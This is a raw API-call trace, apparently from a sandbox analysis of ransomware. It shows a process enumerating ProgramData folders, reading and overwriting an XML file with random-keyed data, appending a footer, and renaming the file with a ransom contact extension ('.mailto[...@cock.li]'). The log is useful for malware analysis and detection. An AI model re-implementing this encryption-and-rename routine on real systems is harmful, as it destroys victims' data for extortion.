	[0090.473] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17cbb4ff, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x7d7457cd, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.473] wcscmp (_String1="..", _String2=".") returned 1
	[0090.473] wcscmp (_String1="..", _String2="..") returned 0
	[0090.473] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7457cd, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x1302615f, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1302615f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0090.473] wcscmp (_String1="Apps", _String2=".") returned 1
	[0090.473] wcscmp (_String1="Apps", _String2="..") returned 1
	[0090.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2d82a90
	[0090.473] wcscpy (in: _Dest=0x2d82a90, _Source="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive"
	[0090.474] wcscat (in: _Dest=0x2d82a90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\"
	[0090.474] wcscat (in: _Dest=0x2d82a90, _Source="Apps" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps"
	[0090.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82c70
	[0090.474] wcscpy (in: _Dest=0x2d82c70, _Source="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps"
	[0090.474] wcscat (in: _Dest=0x2d82c70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\"
	[0090.474] wcscat (in: _Dest=0x2d82c70, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\*"
	[0090.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d550
	[0090.474] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\*", lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7457cd, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x1302615f, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1302615f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0090.481] wcscmp (_String1=".", _String2=".") returned 0
	[0090.481] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7457cd, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x1302615f, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1302615f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.482] wcscmp (_String1="..", _String2=".") returned 1
	[0090.482] wcscmp (_String1="..", _String2="..") returned 0
	[0090.482] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9246834, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xd9246834, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0x11f29520, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0xc76, dwReserved0=0x0, dwReserved1=0x0, cFileName="02305155-8ac1-1189-ff55-b7119a53887c.xml", cAlternateFileName="023051~1.XML")) returned 1
	[0090.482] wcscmp (_String1="02305155-8ac1-1189-ff55-b7119a53887c.xml", _String2=".") returned 1
	[0090.482] wcscmp (_String1="02305155-8ac1-1189-ff55-b7119a53887c.xml", _String2="..") returned 1
	[0090.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925068
	[0090.482] wcscpy (in: _Dest=0x4925068, _Source="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps"
	[0090.482] wcscat (in: _Dest=0x4925068, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\"
	[0090.482] wcscat (in: _Dest=0x4925068, _Source="02305155-8ac1-1189-ff55-b7119a53887c.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml"
	[0090.482] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml")) returned 0x20
	[0090.486] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml", dwFileAttributes=0x20) returned 1
	[0090.486] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2290
	[0090.486] GetFileSizeEx (in: hFile=0x2290, lpFileSize=0x23cbfa6c | out: lpFileSize=0x23cbfa6c*=3190) returned 1
	[0090.486] SetFilePointerEx (in: hFile=0x2290, liDistanceToMove=0xc72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.486] ReadFile (in: hFile=0x2290, lpBuffer=0x23cbf9f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23cbf9ec, lpOverlapped=0x0 | out: lpBuffer=0x23cbf9f0*, lpNumberOfBytesRead=0x23cbf9ec*=0x4, lpOverlapped=0x0) returned 1
	[0090.488] SetFilePointerEx (in: hFile=0x2290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731cb8
	[0090.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0090.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0090.488] NtQuerySystemTime (in: CurrentTime=0x23cbf9cc | out: CurrentTime=0x23cbf9cc*=132251868172283703) returned 0x0
	[0090.488] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xb8a35b50
	[0090.488] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x8294b261
	[0090.488] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xb91b3c78
	[0090.488] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xa817163b
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x4b0f9dc4
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x6f967ed4
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xb6ca6b33
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xcba6255
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xf3849590
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xc1a0cedc
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xf43c97
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x8b468faa
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x464566a6
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x1881eaaa
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x1b2e127b
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x8d786d9c
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x667df99e
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xafe55246
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x3d4456eb
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xbf976ef6
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xe166ee40
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xe916e36
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x3adfbe3f
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x17745a9d
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x137afaef
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xc4cfdfa5
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xe463414b
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xda5ac3db
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x867364ea
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0xcd58b078
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x6ae5f4cb
	[0090.489] RtlRandom (in: Seed=0x23cbf9d8 | out: Seed=0x23cbf9d8) returned 0x6e9a2629
	[0090.497] ReadFile (in: hFile=0x2290, lpBuffer=0x50a4888, nNumberOfBytesToRead=0xc76, lpNumberOfBytesRead=0x23cbf9c8, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x23cbf9c8*=0xc76, lpOverlapped=0x0) returned 1
	[0090.497] SetFilePointerEx (in: hFile=0x2290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.497] WriteFile (in: hFile=0x2290, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0xc76, lpNumberOfBytesWritten=0x23cbf9c4, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x23cbf9c4*=0xc76, lpOverlapped=0x0) returned 1
	[0090.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0090.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0090.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0090.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0090.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0090.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82dd8) returned 1
	[0090.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0090.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5d) returned 0x4734088
	[0090.501] SetFilePointerEx (in: hFile=0x2290, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.501] WriteFile (in: hFile=0x2290, lpBuffer=0x2e348c0*, nNumberOfBytesToWrite=0x141, lpNumberOfBytesWritten=0x23cbfa2c, lpOverlapped=0x0 | out: lpBuffer=0x2e348c0*, lpNumberOfBytesWritten=0x23cbfa2c*=0x141, lpOverlapped=0x0) returned 1
	[0090.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e348c0) returned 1
	[0090.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47340f0) returned 1
	[0090.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731c68) returned 1
	[0090.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0090.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b78) returned 1
	[0090.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0090.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0090.504] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731c40) returned 1
	[0090.504] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x47173a0
	[0090.504] wcscpy (in: _Dest=0x47173a0, _Source="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml"
	[0090.504] wcscat (in: _Dest=0x47173a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0090.504] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x23cbf9e4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\02305155-8ac1-1189-ff55-b7119a53887c.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0090.504] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2e348c0
	[0090.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e348c0) returned 1
	[0090.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.505] NtQueryInformationFile (in: FileHandle=0x2290, IoStatusBlock=0x23cbf9f0, FileInformation=0x23cbf9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23cbf9f0, FileInformation=0x23cbf9c8) returned 0x0
	[0090.505] NtSetInformationFile (FileHandle=0x2290, IoStatusBlock=0x23cbf9f0, FileInformation=0x23cbf9c8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0090.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47173a0) returned 1
	[0090.506] FlushFileBuffers (hFile=0x2290) returned 1
	[0093.273] CloseHandle (hObject=0x2290) 

Thread:
	id = 1005
	os_tid = 0x1c24

	[0082.587] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2e04c48
	[0082.587] wcscpy (in: _Dest=0x2e04c48, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache"
	[0082.587] wcscat (in: _Dest=0x2e04c48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\"
	[0082.587] wcscat (in: _Dest=0x2e04c48, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\*"
	[0082.587] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e26cc0
	[0082.587] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\*", lpFindFileData=0x2e26cc0 | out: lpFindFileData=0x2e26cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccc6a2b9, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xccc6a2b9, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8718
	[0082.588] wcscmp (_String1=".", _String2=".") returned 0
	[0082.588] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x2e26cc0 | out: lpFindFileData=0x2e26cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccc6a2b9, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xccc6a2b9, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.589] wcscmp (_String1="..", _String2=".") returned 1
	[0082.589] wcscmp (_String1="..", _String2="..") returned 0
	[0082.589] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x2e26cc0 | out: lpFindFileData=0x2e26cc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6acf85b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xccc1dbbe, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xccc1dbbe, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0xafc58, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmrc.idx", cAlternateFileName="")) returned 1
	[0082.589] wcscmp (_String1="dmrc.idx", _String2=".") returned 1
	[0082.589] wcscmp (_String1="dmrc.idx", _String2="..") returned 1
	[0082.589] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x2e26cc0 | out: lpFindFileData=0x2e26cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmrccache", cAlternateFileName="DMRCCA~1")) returned 1
	[0082.589] wcscmp (_String1="dmrccache", _String2=".") returned 1
	[0082.589] wcscmp (_String1="dmrccache", _String2="..") returned 1
	[0082.589] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x498d1b8
	[0082.589] wcscpy (in: _Dest=0x498d1b8, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache"
	[0082.589] wcscat (in: _Dest=0x498d1b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\"
	[0082.589] wcscat (in: _Dest=0x498d1b8, _Source="dmrccache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache"
	[0090.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e0c8
	[0090.469] wcscpy (in: _Dest=0x476e0c8, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache"
	[0090.469] wcscat (in: _Dest=0x476e0c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\"
	[0090.469] wcscat (in: _Dest=0x476e0c8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\*"
	[0090.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a798
	[0090.469] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\*", lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.470] wcscmp (_String1=".", _String2=".") returned 0
	[0090.470] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.470] wcscmp (_String1="..", _String2=".") returned 1
	[0090.470] wcscmp (_String1="..", _String2="..") returned 0
	[0090.470] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0090.470] wcscmp (_String1="downloads", _String2=".") returned 1
	[0090.470] wcscmp (_String1="downloads", _String2="..") returned 1
	[0090.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4895720
	[0090.470] wcscpy (in: _Dest=0x4895720, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache"
	[0090.470] wcscat (in: _Dest=0x4895720, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\"
	[0090.470] wcscat (in: _Dest=0x4895720, _Source="downloads" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads"
	[0090.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x4894f00
	[0090.470] wcscpy (in: _Dest=0x4894f00, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads"
	[0090.470] wcscat (in: _Dest=0x4894f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads\\"
	[0090.470] wcscat (in: _Dest=0x4894f00, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads\\*"
	[0090.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d550
